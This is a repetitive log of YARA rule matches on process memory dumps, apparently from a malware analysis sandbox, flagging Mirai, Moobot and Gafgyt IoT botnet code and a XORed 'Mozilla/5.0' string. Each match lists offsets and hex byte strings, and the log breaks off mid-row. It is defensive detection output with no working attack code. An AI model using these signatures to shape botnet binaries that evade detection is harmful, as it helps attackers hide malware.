7365.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7365.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6446.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6446.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6446.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7044.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6655.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6655.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6655.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6655.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6655.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6655.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7008.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6633.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6625.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7091.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7266.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6238.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6734.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7407.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7168.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7168.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7168.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7168.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7168.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7168.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7126.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7126.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7126.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7126.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7126.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7126.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7410.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7410.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7410.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7410.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7410.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 